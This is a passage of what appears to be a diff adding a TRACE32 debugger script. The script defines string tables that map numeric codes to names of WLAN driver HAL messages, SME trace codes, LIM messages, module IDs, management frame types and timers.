\halmsgtype[0xB9]="SIR_HAL_DEL_STA_SELF_RSP" +Var.SET \halmsgtype[0xBA]="SIR_HAL_SIGNAL_BTAMP_EVENT" +Var.SET \halmsgtype[0xBB]="SIR_HAL_CFG_RXP_FILTER_REQ" +Var.SET \halmsgtype[0xBC]="SIR_HAL_CFG_RXP_FILTER_RSP" +Var.SET \halmsgtype[0xBD]="SIR_HAL_AGGR_ADD_TS_REQ" +Var.SET \halmsgtype[0xBE]="SIR_HAL_AGGR_ADD_TS_RSP" +Var.SET \halmsgtype[0xBF]="SIR_HAL_AGGR_QOS_REQ" +Var.SET \halmsgtype[0xC0]="SIR_HAL_AGGR_QOS_RSP" +Var.SET \halmsgtype[0xC1]="SIR_HAL_SET_P2P_GO_NOA_REQ" +Var.SET \halmsgtype[0xC2]="SIR_HAL_P2P_NOA_ATTR_IND" +Var.SET \halmsgtype[0xC3]="SIR_HAL_P2P_NOA_START_IND" +Var.SET \halmsgtype[0xC5]="SIR_HAL_SET_LINK_STATE_RSP" +Var.SET \halmsgtype[0xC6]="SIR_HAL_WLAN_SUSPEND_IND" +Var.SET \halmsgtype[0xC7]="SIR_HAL_WLAN_RESUME_REQ" +Var.SET \halmsgtype[0xC8]="SIR_HAL_SET_KEEP_ALIVE" +Var.SET \halmsgtype[0xC9]="SIR_HAL_SET_NS_OFFLOAD" +Var.SET \halmsgtype[0xCA]="SIR_HAL_SET_PNO_REQ" +Var.SET \halmsgtype[0xCB]="SIR_HAL_SET_PNO_CHANGED_IND" +Var.SET \halmsgtype[0xCC]="SIR_HAL_UPDATE_SCAN_PARAMS" +Var.SET \halmsgtype[0xCD]="SIR_HAL_SET_RSSI_FILTER_REQ" +Var.SET \halmsgtype[0xCE]="SIR_HAL_SET_TX_PER_TRACKING_REQ" +Var.SET \halmsgtype[0xCF]="SIR_HAL_8023_MULTICAST_LIST_REQ" +Var.SET \halmsgtype[0xD0]="SIR_HAL_RECEIVE_FILTER_SET_FILTER_REQ" +Var.SET \halmsgtype[0xD1]="SIR_HAL_PACKET_COALESCING_FILTER_MATCH_COUNT_REQ" +Var.SET \halmsgtype[0xD2]="SIR_HAL_PACKET_COALESCING_FILTER_MATCH_COUNT_RSP" +Var.SET \halmsgtype[0xD3]="SIR_HAL_RECEIVE_FILTER_CLEAR_FILTER_REQ" +Var.SET \halmsgtype[0xD4]="SIR_HAL_SET_POWER_PARAMS_REQ" +Var.SET \halmsgtype[0xD5]="SIR_HAL_GTK_OFFLOAD_REQ" +Var.SET \halmsgtype[0xD6]="SIR_HAL_GTK_OFFLOAD_GETINFO_REQ" +Var.SET \halmsgtype[0xD7]="SIR_HAL_GTK_OFFLOAD_GETINFO_RSP" +Var.SET \halmsgtype[0xD8]="SIR_HAL_TSM_STATS_REQ" +Var.SET \halmsgtype[0xD9]="SIR_HAL_TSM_STATS_RSP" +Var.SET \halmsgtype[0xDA]="SIR_HAL_WAKE_REASON_IND" +Var.SET \halmsgtype[0xDB]="SIR_HAL_SET_TM_LEVEL_REQ" +Var.SET \halmsgtype[0xDC]="SIR_HAL_UPDATE_OP_MODE" +Var.SET \halmsgtype[0xDD]="SIR_HAL_TDLS_LINK_ESTABLISH" +Var.SET \halmsgtype[0xDE]="SIR_HAL_TDLS_LINK_TEARDOWN" +Var.SET \halmsgtype[0xE3]="SIR_HAL_TRAFFIC_STATS_IND" +Var.SET \halmsgtype[0xE5]="SIR_HAL_START_SCAN_OFFLOAD_REQ" +Var.SET \halmsgtype[0xE6]="SIR_HAL_START_SCAN_OFFLOAD_RSP" +Var.SET \halmsgtype[0xE7]="SIR_HAL_UPDATE_CHAN_LIST_REQ" +Var.SET \halmsgtype[0xE8]="SIR_HAL_UPDATE_CHAN_LIST_RSP" +Var.SET \halmsgtype[0xE9]="SIR_HAL_STOP_SCAN_OFFLOAD_REQ" +Var.SET \halmsgtype[0xEA]="SIR_HAL_STOP_SCAN_OFFLOAD_RSP" +Var.SET \halmsgtype[0xEB]="SIR_HAL_RX_SCAN_EVENT" +Var.SET \halmsgtype[0xEC]="SIR_HAL_DHCP_START_IND" +Var.SET \halmsgtype[0xED]="SIR_HAL_DHCP_STOP_IND" +Var.SET \halmsgtype[0xEE]="SIR_HAL_IBSS_PEER_INACTIVITY_IND" +Var.SET \halmsgtype[0xEF]="SIR_HAL_LPHB_CONF_IND" +Var.SET \halmsgtype[0xF0]="SIR_HAL_LPHB_WAIT_EXPIRE_IND" +Var.SET \halmsgtype[0xF1]="SIR_HAL_ADD_PERIODIC_TX_PTRN_IND" +Var.SET \halmsgtype[0xF2]="SIR_HAL_DEL_PERIODIC_TX_PTRN_IND" +Var.SET \halmsgtype[0xF3]="SIR_HAL_RMC_BECOME_LEADER" +Var.SET \halmsgtype[0xF4]="SIR_HAL_RMC_LEADER_SELECT_RESP" +Var.SET \halmsgtype[0xF5]="SIR_HAL_RMC_LEADER_REQ" +Var.SET \halmsgtype[0xF6]="SIR_HAL_RMC_UPDATE_IND" +Var.SET \halmsgtype[0xF7]="SIR_HAL_IBSS_PEER_INFO_REQ" +Var.SET \halmsgtype[0xF8]="SIR_HAL_IBSS_PEER_INFO_RSP" +Var.SET \halmsgtype[0xF9]="SIR_HAL_RATE_UPDATE_IND" +Var.SET \halmsgtype[0xFA]="SIR_HAL_IBSS_ROUTE_TABLE_UPDATE_IND" +Var.SET \halmsgtype[0xFB]="SIR_HAL_TX_FAIL_MONITOR_IND" +Var.SET \halmsgtype[0xFC]="SIR_HAL_IBSS_PEER_INFO_RSP" +Var.SET \halmsgtype[0xFD]="SIR_HAL_RATE_UPDATE_IND" + + +Var.NEW char [256][100] \tlcodetype + +Var.SET \tlcodetype[0x00]="TRACE_CODE_TL_STA_STATE" +Var.SET \tlcodetype[0x01]="TRACE_CODE_TL_EAPOL_PKT_PENDING" +Var.SET \tlcodetype[0x02]="TRACE_CODE_TL_GET_FRAMES_EAPOL" +Var.SET \tlcodetype[0x03]="TRACE_CODE_TL_RX_CONN_EAPOL" +Var.SET \tlcodetype[0x04]="TRACE_CODE_TL_REGISTER_STA_CLIENT" +Var.SET \tlcodetype[0x05]="TRACE_CODE_TL_SUSPEND_DATA_TX" +Var.SET \tlcodetype[0x06]="TRACE_CODE_TL_RESUME_DATA_TX" +Var.SET \tlcodetype[0x07]="TRACE_CODE_TL_STA_PKT_PENDING" +Var.SET \tlcodetype[0x08]="TRACE_CODE_TL_QUEUE_CURRENT" +Var.SET \tlcodetype[0x09]="TRACE_CODE_TL_REORDER_TIMER_EXP_CB" +Var.SET \tlcodetype[0x0A]="TRACE_CODE_TL_BA_SESSION_DEL" +Var.SET \tlcodetype[0x0B]="TRACE_CODE_TL_ASSOC_FAILED" +Var.SET \tlcodetype[0x0C]="TRACE_CODE_TL_FORWARD_CACHED_FRAMES" +Var.SET \tlcodetype[0x0D]="TRACE_CODE_TL_FLUSH_CACHED_FRAMES" +Var.SET \tlcodetype[0x0E]="TRACE_CODE_TL_CACHE_FRAME" + +Var.NEW char [256][100] \smecodetype + +Var.SET \smecodetype[0x00]="TRACE_CODE_SME_RX_HDD_MSG_SCAN_REQ" +Var.SET \smecodetype[0x01]="TRACE_CODE_SME_RX_HDD_MSG_SCAN_GET_RESULTS" +Var.SET \smecodetype[0x02]="TRACE_CODE_SME_RX_HDD_MSG_CONNECT" +Var.SET \smecodetype[0x03]="TRACE_CODE_SME_RX_HDD_MSG_SET_11DINFO" +Var.SET \smecodetype[0x04]="TRACE_CODE_SME_RX_HDD_MSG_GET_SOFTAP_DOMAIN" +Var.SET \smecodetype[0x05]="TRACE_CODE_SME_RX_HDD_MSG_SET_REGINFO" +Var.SET \smecodetype[0x06]="TRACE_CODE_SME_RX_HDD_MSG_UPDATE_CHANNEL_CONFIG" +Var.SET \smecodetype[0x07]="TRACE_CODE_SME_RX_HDD_MSG_UPDATE_CONFIG" +Var.SET \smecodetype[0x08]="TRACE_CODE_SME_RX_HDD_MSG_HDDREADYIND" +Var.SET \smecodetype[0x09]="TRACE_CODE_SME_RX_HDD_MSG_SCAN_FLUSH_RESULTS" +Var.SET \smecodetype[0x0A]="TRACE_CODE_SME_RX_HDD_MSG_SCAN_FLUSH_P2PRESULTS" +Var.SET \smecodetype[0x0B]="TRACE_CODE_SME_RX_HDD_MSG_SCAN_RESULT_GETFIRST" +Var.SET \smecodetype[0x0C]="TRACE_CODE_SME_RX_HDD_MSG_SCAN_RESULT_GETNEXT" +Var.SET \smecodetype[0x0D]="TRACE_CODE_SME_RX_HDD_MSG_SCAN_RESULT_PURGE" +Var.SET \smecodetype[0x0E]="TRACE_CODE_SME_RX_HDD_ROAM_REASSOC" +Var.SET \smecodetype[0x0F]="TRACE_CODE_SME_RX_HDD_ROAM_DISCONNECT" +Var.SET \smecodetype[0x10]="TRACE_CODE_SME_RX_HDD_ROAM_GET_CONNECTPROFILE" +Var.SET \smecodetype[0x11]="TRACE_CODE_SME_RX_HDD_ROAM_FREE_CONNECTPROFILE" +Var.SET \smecodetype[0x12]="TRACE_CODE_SME_RX_HDD_ROAM_SET_PMKIDCACHE" +Var.SET \smecodetype[0x13]="TRACE_CODE_SME_RX_HDD_GET_CONFIGPARAM" +Var.SET \smecodetype[0x14]="TRACE_CODE_SME_RX_HDD_GET_MODPROFFIELDS" +Var.SET \smecodetype[0x15]="TRACE_CODE_SME_RX_HDD_SET_CONFIG_PWRSAVE" +Var.SET \smecodetype[0x16]="TRACE_CODE_SME_RX_HDD_GET_CONFIG_PWRSAVE" +Var.SET \smecodetype[0x17]="TRACE_CODE_SME_RX_HDD_ENABLE_PWRSAVE" +Var.SET \smecodetype[0x18]="TRACE_CODE_SME_RX_HDD_DISABLE_PWRSAVE" +Var.SET \smecodetype[0x19]="TRACE_CODE_SME_RX_HDD_START_AUTO_BMPSTIMER" +Var.SET \smecodetype[0x1A]="TRACE_CODE_SME_RX_HDD_STOP_AUTO_BMPSTIMER" +Var.SET \smecodetype[0x1B]="TRACE_CODE_SME_RX_HDD_IS_PWRSAVE_ENABLED" +Var.SET \smecodetype[0x1C]="TRACE_CODE_SME_RX_HDD_REQUEST_FULLPOWER" +Var.SET \smecodetype[0x1D]="TRACE_CODE_SME_RX_HDD_REQUEST_BMPS" +Var.SET \smecodetype[0x1E]="TRACE_CODE_SME_RX_HDD_SET_DHCP_FLAG" +Var.SET \smecodetype[0x1F]="TRACE_CODE_SME_RX_HDD_REQUEST_STANDBY" +Var.SET \smecodetype[0x20]="TRACE_CODE_SME_RX_HDD_WOWL_ADDBCAST_PATTERN" +Var.SET \smecodetype[0x21]="TRACE_CODE_SME_RX_HDD_WOWL_DELBCAST_PATTERN" +Var.SET \smecodetype[0x22]="TRACE_CODE_SME_RX_HDD_ENTER_WOWL" +Var.SET \smecodetype[0x23]="TRACE_CODE_SME_RX_HDD_EXIT_WOWL" +Var.SET \smecodetype[0x24]="TRACE_CODE_SME_RX_HDD_SET_KEY" +Var.SET \smecodetype[0x25]="TRACE_CODE_SME_RX_HDD_REMOVE_KEY" +Var.SET \smecodetype[0x26]="TRACE_CODE_SME_RX_HDD_GET_STATS" +Var.SET \smecodetype[0x27]="TRACE_CODE_SME_RX_HDD_GET_CNTRYCODE" +Var.SET \smecodetype[0x28]="TRACE_CODE_SME_RX_HDD_SET_CNTRYCODE" +Var.SET \smecodetype[0x29]="TRACE_CODE_SME_RX_HDD_CHANGE_CNTRYCODE" +Var.SET \smecodetype[0x2A]="TRACE_CODE_SME_RX_HDD_BTC_SIGNALEVENT" +Var.SET \smecodetype[0x2B]="TRACE_CODE_SME_RX_HDD_BTC_SETCONFIG" +Var.SET \smecodetype[0x2C]="TRACE_CODE_SME_RX_HDD_BTC_GETCONFIG" +Var.SET \smecodetype[0x2D]="TRACE_CODE_SME_RX_HDD_SET_CFGPRIVACY" +Var.SET \smecodetype[0x2E]="TRACE_CODE_SME_RX_HDD_NEIGHBOR_REPORTREQ" +Var.SET \smecodetype[0x2F]="TRACE_CODE_SME_RX_HDD_DBG_READREG" +Var.SET \smecodetype[0x30]="TRACE_CODE_SME_RX_HDD_DBG_WRITEREG" +Var.SET \smecodetype[0x31]="TRACE_CODE_SME_RX_HDD_DBG_READMEM" +Var.SET \smecodetype[0x32]="TRACE_CODE_SME_RX_HDD_DBG_WRITEMEM" +Var.SET \smecodetype[0x33]="TRACE_CODE_SME_RX_HDD_OPEN_SESSION" +Var.SET \smecodetype[0x34]="TRACE_CODE_SME_RX_HDD_CLOSE_SESSION" +Var.SET \smecodetype[0x35]="TRACE_CODE_SME_RX_HDD_SET_HOSTOFFLOAD" +Var.SET \smecodetype[0x36]="TRACE_CODE_SME_RX_HDD_SET_GTKOFFLOAD" +Var.SET \smecodetype[0x37]="TRACE_CODE_SME_RX_HDD_GET_GTKOFFLOAD" +Var.SET \smecodetype[0x38]="TRACE_CODE_SME_RX_HDD_SET_POWERPARAMS" +Var.SET \smecodetype[0x39]="TRACE_CODE_SME_RX_HDD_ABORT_MACSCAN" +Var.SET \smecodetype[0x3A]="TRACE_CODE_SME_RX_HDD_REGISTER_MGMTFR" +Var.SET \smecodetype[0x3B]="TRACE_CODE_SME_RX_HDD_DEREGISTER_MGMTFR" +Var.SET \smecodetype[0x3C]="TRACE_CODE_SME_RX_HDD_REMAIN_ONCHAN" +Var.SET \smecodetype[0x3D]="TRACE_CODE_SME_RX_HDD_SEND_ACTION" +Var.SET \smecodetype[0x3E]="TRACE_CODE_SME_RX_HDD_CANCEL_REMAIN_ONCHAN" +Var.SET \smecodetype[0x3F]="TRACE_CODE_SME_RX_HDD_CONFIG_RXPFIL" +Var.SET \smecodetype[0x40]="TRACE_CODE_SME_RX_HDD_CONFIG_SUSPENDIND" +Var.SET \smecodetype[0x41]="TRACE_CODE_SME_RX_HDD_CONFIG_RESUMEREQ" +Var.SET \smecodetype[0x42]="TRACE_CODE_SME_RX_HDD_SET_MAXTXPOW" +Var.SET \smecodetype[0x43]="TRACE_CODE_SME_RX_HDD_SET_TXPOW" +Var.SET \smecodetype[0x44]="TRACE_CODE_SME_RX_HDD_SET_TMLEVEL" +Var.SET \smecodetype[0x45]="TRACE_CODE_SME_RX_HDD_CAPS_EXCH" +Var.SET \smecodetype[0x46]="TRACE_CODE_SME_RX_HDD_DISABLE_CAP" +Var.SET \smecodetype[0x47]="TRACE_CODE_SME_RX_HDD_GET_DEFCCNV" +Var.SET \smecodetype[0x48]="TRACE_CODE_SME_RX_HDD_GET_CURCC" +Var.SET \smecodetype[0x49]="TRACE_CODE_SME_RX_HDD_RESET_PW5G" +Var.SET \smecodetype[0x4A]="TRACE_CODE_SME_RX_HDD_UPDATE_RP5G" +Var.SET \smecodetype[0x4B]="TRACE_CODE_SME_RX_HDD_SET_ROAMIBAND" +Var.SET \smecodetype[0x4C]="TRACE_CODE_SME_RX_HDD_GET_ROAMIBAND" +Var.SET \smecodetype[0x4D]="TRACE_CODE_SME_RX_HDD_UPDATE_RSSIDIFF" +Var.SET \smecodetype[0x4E]="TRACE_CODE_SME_RX_HDD_UPDATE_IMMRSSIDIFF" +Var.SET \smecodetype[0x4F]="TRACE_CODE_SME_RX_HDD_UPDATE_FTENABLED" +Var.SET \smecodetype[0x50]="TRACE_CODE_SME_RX_HDD_UPDATE_WESMODE" +Var.SET \smecodetype[0x51]="TRACE_CODE_SME_RX_HDD_SET_SCANCTRL" +;deprecated Var.SET \smecodetype[0x52]="TRACE_CODE_SME_RX_HDD_EXTSCAN_GET_CAPABILITIES" +Var.SET \smecodetype[0x52]="TRACE_CODE_SME_RX_HDD_EXTSCAN_START" +Var.SET \smecodetype[0x53]="TRACE_CODE_SME_RX_HDD_EXTSCAN_STOP" +Var.SET \smecodetype[0x54]="TRACE_CODE_SME_RX_HDD_EXTSCAN_SET_BSS_HOTLIST" +Var.SET \smecodetype[0x55]="TRACE_CODE_SME_RX_HDD_EXTSCAN_RESET_BSS_HOTLIST" +Var.SET \smecodetype[0x56]="TRACE_CODE_SME_RX_HDD_EXTSCAN_GET_CACHED_RESULTS" +Var.SET \smecodetype[0x57]="TRACE_CODE_SME_RX_HDD_EXTSCAN_SET_SSID_HOTLIST" +Var.SET \smecodetype[0x58]="TRACE_CODE_SME_RX_HDD_EXTSCAN_RESET_SSID_HOTLIST" +Var.SET \smecodetype[0x59]="TRACE_CODE_SME_RX_HDD_MSG_DEAUTH_STA" +;#ifdef FEATURE_WLAN_TDLS //assuming this flag is enabled by default +Var.SET \smecodetype[0x5A]="TRACE_CODE_SME_RX_HDD_TDLS_LINK_ESTABLISH_PARAM" +Var.SET \smecodetype[0x5B]="TRACE_CODE_SME_RX_HDD_TDLS_CHAN_SWITCH_REQ" +Var.SET \smecodetype[0x5C]="TRACE_CODE_SME_RX_HDD_TDLS_SEND_MGMT_FRAME" +Var.SET \smecodetype[0x5D]="TRACE_CODE_SME_RX_HDD_TDLS_CHANGE_PEER_STA" +Var.SET \smecodetype[0x5E]="TRACE_CODE_SME_RX_HDD_TDLS_ADD_PEER_STA" +Var.SET \smecodetype[0x5F]="TRACE_CODE_SME_RX_HDD_TDLS_DEL_PEER_STA" +;#endif +Var.SET \smecodetype[0x60]="TRACE_CODE_SME_RX_HDD_PREF_NET_LIST" +;#ifdef FEATURE_WLAN_LPHB //assuming this flag is enabled by default +Var.SET \smecodetype[0x61]="TRACE_CODE_SME_RX_HDD_LPHB_CONFIG_REQ" +;#endif /* FEATURE_WLAN_LPHB */ +Var.SET \smecodetype[0x62]="TRACE_CODE_SME_RX_HDD_ROAM_DEL_PMKIDCACHE" +;From here hardcoded to 250 in host code +Var.SET \smecodetype[0xFA]="TRACE_CODE_SME_COMMAND" +Var.SET \smecodetype[0xFB]="TRACE_CODE_SME_TX_WDA_MSG" +Var.SET \smecodetype[0xFC]="TRACE_CODE_SME_RX_WDA_MSG" + +Var.NEW char [256][50] \cfgmsgtype + +Var.SET \cfgmsgtype[0xB0]="SIR_CFG_PARAM_UPDATE_IND" +Var.SET \cfgmsgtype[0xB1]="SIR_CFG_DOWNLOAD_COMPLETE_IND" + + +Var.NEW char [256][50] \limmsgtype + +Var.SET \limmsgtype[0xB3]="SIR_LIM_RETRY_INTERRUPT_MSG" +Var.SET \limmsgtype[0xB4]="SIR_BB_XPORT_MGMT_MSG" +Var.SET \limmsgtype[0xB7]="SIR_LIM_INV_KEY_INTERRUPT_MSG" +Var.SET \limmsgtype[0xB8]="SIR_LIM_KEY_ID_INTERRUPT_MSG" +Var.SET \limmsgtype[0xB9]="SIR_LIM_REPLAY_THRES_INTERRUPT_MSG" +Var.SET \limmsgtype[0xBA]="SIR_LIM_TD_DUMMY_CALLBACK_MSG" +Var.SET \limmsgtype[0xBB]="SIR_LIM_SCH_CLEAN_MSG" +Var.SET \limmsgtype[0xBC]="SIR_LIM_RADAR_DETECT_IND" +Var.SET \limmsgtype[0xBE]="SIR_LIM_DEL_TS_IND" +Var.SET \limmsgtype[0xBF]="SIR_LIM_ADD_BA_IND" +Var.SET \limmsgtype[0xC0]="SIR_LIM_DEL_BA_ALL_IND" +Var.SET \limmsgtype[0xC1]="SIR_LIM_DELETE_STA_CONTEXT_IND" +Var.SET \limmsgtype[0xC2]="SIR_LIM_DEL_BA_IND" +Var.SET \limmsgtype[0xC3]="SIR_LIM_UPDATE_BEACON" +Var.SET \limmsgtype[0xD0]="SIR_LIM_MIN_CHANNEL_TIMEOUT" +Var.SET \limmsgtype[0xD1]="SIR_LIM_MAX_CHANNEL_TIMEOUT" +Var.SET \limmsgtype[0xD2]="SIR_LIM_JOIN_FAIL_TIMEOUT" +Var.SET \limmsgtype[0xD3]="SIR_LIM_AUTH_FAIL_TIMEOUT" +Var.SET \limmsgtype[0xD4]="SIR_LIM_AUTH_RSP_TIMEOUT" +Var.SET \limmsgtype[0xD5]="SIR_LIM_ASSOC_FAIL_TIMEOUT" +Var.SET \limmsgtype[0xD6]="SIR_LIM_REASSOC_FAIL_TIMEOUT" +Var.SET \limmsgtype[0xD7]="SIR_LIM_HEART_BEAT_TIMEOUT" +Var.SET \limmsgtype[0xD9]="SIR_LIM_PREAUTH_CLNUP_TIMEOUT" +Var.SET \limmsgtype[0xDA]="SIR_LIM_CHANNEL_SCAN_TIMEOUT" +Var.SET \limmsgtype[0xDB]="SIR_LIM_PROBE_HB_FAILURE_TIMEOUT" +Var.SET \limmsgtype[0xDC]="SIR_LIM_ADDTS_RSP_TIMEOUT" +Var.SET \limmsgtype[0xE0]="SIR_LIM_MEASUREMENT_IND_TIMEOUT" +Var.SET \limmsgtype[0xE1]="SIR_LIM_LEARN_INTERVAL_TIMEOUT" +Var.SET \limmsgtype[0xE2]="SIR_LIM_LEARN_DURATION_TIMEOUT" +Var.SET \limmsgtype[0xE3]="SIR_LIM_LINK_TEST_DURATION_TIMEOUT" +Var.SET \limmsgtype[0xE6]="SIR_LIM_HASH_MISS_THRES_TIMEOUT" +Var.SET \limmsgtype[0xE7]="SIR_LIM_CNF_WAIT_TIMEOUT" +Var.SET \limmsgtype[0xE8]="SIR_LIM_KEEPALIVE_TIMEOUT" +Var.SET \limmsgtype[0xE9]="SIR_LIM_UPDATE_OLBC_CACHEL_TIMEOUT" +Var.SET \limmsgtype[0xEA]="SIR_LIM_CHANNEL_SWITCH_TIMEOUT" +Var.SET \limmsgtype[0xEB]="SIR_LIM_QUIET_TIMEOUT" +Var.SET \limmsgtype[0xEC]="SIR_LIM_QUIET_BSS_TIMEOUT" +Var.SET \limmsgtype[0xED]="SIR_LIM_WPS_OVERLAP_TIMEOUT" +Var.SET \limmsgtype[0xEE]="SIR_LIM_FT_PREAUTH_RSP_TIMEOUT" +Var.SET \limmsgtype[0xEF]="SIR_LIM_REMAIN_CHN_TIMEOUT" +Var.SET \limmsgtype[0xF0]="SIR_LIM_INSERT_SINGLESHOT_NOA_TIMEOUT" +Var.SET \limmsgtype[0xF1]="SIR_LIM_WMM_APSD_SP_START_MSG_TYPE" +Var.SET \limmsgtype[0xF2]="SIR_LIM_WMM_APSD_SP_END_MSG_TYPE" +Var.SET \limmsgtype[0xF3]="SIR_LIM_BEACON_GEN_IND" +Var.SET \limmsgtype[0xF4]="SIR_LIM_PERIODIC_PROBE_REQ_TIMEOUT" +Var.SET \limmsgtype[0xF5]="SIR_LIM_CCX_TSM_TIMEOUT" +Var.SET \limmsgtype[0xF6]="SIR_LIM_DISASSOC_ACK_TIMEOUT" +Var.SET \limmsgtype[0xF7]="SIR_LIM_DEAUTH_ACK_TIMEOUT" +Var.SET \limmsgtype[0xF8]="SIR_LIM_PERIODIC_JOIN_PROBE_REQ_TIMEOUT" +Var.SET \limmsgtype[0xF9]="SIR_LIM_TDLS_DISCOVERY_RSP_WAIT" +Var.SET \limmsgtype[0xFA]="SIR_LIM_TDLS_LINK_SETUP_RSP_TIMEOUT" +Var.SET \limmsgtype[0xFB]="SIR_LIM_TDLS_LINK_SETUP_CNF_TIMEOUT" +Var.SET \limmsgtype[0xFC]="SIR_LIM_CONVERT_ACTIVE_CHANNEL_TO_PASSIVE" +Var.SET \limmsgtype[0xFF]="SIR_LIM_MSG_TYPES_END" + + +Var.NEW char [256][50] \schmsgtype + +Var.SET \schmsgtype[0x0]="SIR_SCH_CHANNEL_SWITCH_REQUEST" +Var.SET \schmsgtype[0x1]="SIR_SCH_START_SCAN_REQ" +Var.SET \schmsgtype[0x2]="SIR_SCH_START_SCAN_RSP" +Var.SET \schmsgtype[0x3]="SIR_SCH_END_SCAN_NTF" +Var.SET \schmsgtype[0xFF]="SIR_SCH_MSG_TYPES_END" + +Var.NEW char [256][50] \pmmmsgtype + +Var.SET \pmmmsgtype[0x0]="SIR_PMM_CHANGE_PM_MODE" +Var.SET \pmmmsgtype[0x1]="SIR_PMM_CHANGE_IMPS_MODE" +Var.SET \pmmmsgtype[0xFF]="SIR_PMM_MSG_TYPES_END" + + +Var.NEW char [256][50] \mntmsgtype + +Var.SET \mntmsgtype[0x0]="SIR_MNT_RELEASE_BD" +Var.SET \mntmsgtype[0xFF]="SIR_MNT_MSG_TYPES_END" + +Var.NEW char [256][50] \dvtmsgtype + +Var.SET \dvtmsgtype[0xF]="SIR_DVT_ITC_MSG_TYPES_BEGIN" + +Var.NEW char [0x301][50] \pttmsgtype + +Var.SET \pttmsgtype[0x0]="SIR_PTT_MSG_TYPES_BEGIN" +Var.SET \pttmsgtype[0x300]="SIR_PTT_MSG_TYPES_END" + + +Var.NEW char [18][50] \code + +Var.SET \code[0]="TRACE_CODE_MLM_STATE" +Var.SET \code[1]="TRACE_CODE_SME_STATE" +Var.SET \code[2]="TRACE_CODE_TX_MGMT" +Var.SET \code[3]="TRACE_CODE_RX_MGMT" +Var.SET \code[4]="TRACE_CODE_RX_MGMT_TSF" +Var.SET \code[5]="TRACE_CODE_TX_COMPLETE" +Var.SET \code[6]="TRACE_CODE_TX_SME_MSG" +Var.SET \code[7]="TRACE_CODE_RX_SME_MSG" +Var.SET \code[8]="TRACE_CODE_TX_WDA_MSG" +Var.SET \code[9]="TRACE_CODE_RX_WDA_MSG" +Var.SET \code[10]="TRACE_CODE_TX_LIM_MSG" +Var.SET \code[11]="TRACE_CODE_RX_LIM_MSG" +Var.SET \code[12]="TRACE_CODE_TX_CFG_MSG" +Var.SET \code[13]="TRACE_CODE_RX_CFG_MSG" +Var.SET \code[14]="TRACE_CODE_RX_MGMT_DROP" +Var.SET \code[15]="TRACE_CODE_TIMER_ACTIVATE" +Var.SET \code[16]="TRACE_CODE_TIMER_DEACTIVATE" +Var.SET \code[17]="TRACE_CODE_INFO_LOG" + + +Var.NEW char [13][50] \module + + +Var.SET \module[0]="VOS_MODULE_ID_BAP" +Var.SET \module[1]="VOS_MODULE_ID_TL" +Var.SET \module[3]="VOS_MODULE_ID_SAL" +Var.SET \module[4]="VOS_MODULE_ID_SSC" +Var.SET \module[2]="VOS_MODULE_ID_WDI" +Var.SET \module[5]="VOS_MODULE_ID_HDD" +Var.SET \module[6]="VOS_MODULE_ID_SME" +Var.SET \module[7]="VOS_MODULE_ID_PE" +Var.SET \module[8]="VOS_MODULE_ID_WDA" +Var.SET \module[9]="VOS_MODULE_ID_SYS" +Var.SET \module[10]="VOS_MODULE_ID_VOSS" +Var.SET \module[11]="VOS_MODULE_ID_SAP" +Var.SET \module[12]="VOS_MODULE_ID_HDD_SOFTAP" + +Var.NEW char [16][50] \mgmttype + +Var.SET \mgmttype[0]="SIR_MAC_MGMT_ASSOC_REQ" +Var.SET \mgmttype[1]="SIR_MAC_MGMT_ASSOC_RSP" +Var.SET \mgmttype[2]="SIR_MAC_MGMT_REASSOC_REQ" +Var.SET \mgmttype[3]="SIR_MAC_MGMT_REASSOC_RSP" +Var.SET \mgmttype[4]="SIR_MAC_MGMT_PROBE_REQ" +Var.SET \mgmttype[5]="SIR_MAC_MGMT_PROBE_RSP" +Var.SET \mgmttype[8]="SIR_MAC_MGMT_BEACON" +Var.SET \mgmttype[9]="SIR_MAC_MGMT_ATIM" +Var.SET \mgmttype[10]="SIR_MAC_MGMT_DISASSOC" +Var.SET \mgmttype[11]="SIR_MAC_MGMT_AUTH" +Var.SET \mgmttype[12]="SIR_MAC_MGMT_DEAUTH" +Var.SET \mgmttype[13]="SIR_MAC_MGMT_ACTION" +Var.SET \mgmttype[15]="SIR_MAC_MGMT_RESERVED15" + +Var.NEW char [30][50] \limtimertype + +Var.SET \limtimertype[0]="eLIM_MIN_CHANNEL_TIMER" +Var.SET \limtimertype[1]="eLIM_MAX_CHANNEL_TIMER" +Var.SET \limtimertype[2]="eLIM_JOIN_FAIL_TIMER" +Var.SET \limtimertype[3]="eLIM_AUTH_FAIL_TIMER" +Var.SET \limtimertype[4]="eLIM_AUTH_RESP_TIMER" +Var.SET \limtimertype[5]="eLIM_ASSOC_FAIL_TIMER" +Var.SET \limtimertype[6]="eLIM_REASSOC_FAIL_TIMER" +Var.SET \limtimertype[7]="eLIM_PRE_AUTH_CLEANUP_TIMER" +Var.SET \limtimertype[8]="eLIM_HEART_BEAT_TIMER" +Var.SET \limtimertype[9]="eLIM_BACKGROUND_SCAN_TIMER" +Var.SET \limtimertype[10]="eLIM_KEEPALIVE_TIMER" +Var.SET \limtimertype[11]="eLIM_CNF_WAIT_TIMER" +Var.SET \limtimertype[12]="eLIM_AUTH_RSP_TIMER" +Var.SET \limtimertype[13]="eLIM_UPDATE_OLBC_CACHE_TIMER" +Var.SET \limtimertype[14]="eLIM_PROBE_AFTER_HB_TIMER" +Var.SET \limtimertype[15]="eLIM_ADDTS_RSP_TIMER" +Var.SET \limtimertype[16]="eLIM_CHANNEL_SWITCH_TIMER" +Var.SET \limtimertype[17]="eLIM_LEARN_DURATION_TIMER" +Var.SET \limtimertype[18]="eLIM_QUIET_TIMER" +Var.SET \limtimertype[19]="eLIM_QUIET_BSS_TIMER" +Var.SET \limtimertype[20]="eLIM_WPS_OVERLAP_TIMER" +Var.SET \limtimertype[21]="eLIM_FT_PREAUTH_RSP_TIMER" +Var.SET \limtimertype[22]="eLIM_REMAIN_CHN_TIMER" +Var.SET \limtimertype[23]="eLIM_PERIODIC_PROBE_REQ_TIMER" +;#ifdef FEATURE_WLAN_CCX +;Var.SET \limtimertype[0]="eLIM_TSM_TIMER" +;#endif +;#ifdef FEATURE_WLAN_TDLS_INTERNAL +;Var.SET \limtimertype[0]="eLIM_TDLS_DISCOVERY_RSP_WAIT" +;Var.SET \limtimertype[0]="eLIM_TDLS_LINK_SETUP_RSP_TIMEOUT" +;Var.SET \limtimertype[0]="eLIM_TDLS_LINK_SETUP_CNF_TIMEOUT" +;#endif +Var.SET \limtimertype[25]="eLIM_DISASSOC_ACK_TIMER" +Var.SET \limtimertype[26]="eLIM_DEAUTH_ACK_TIMER" +Var.SET 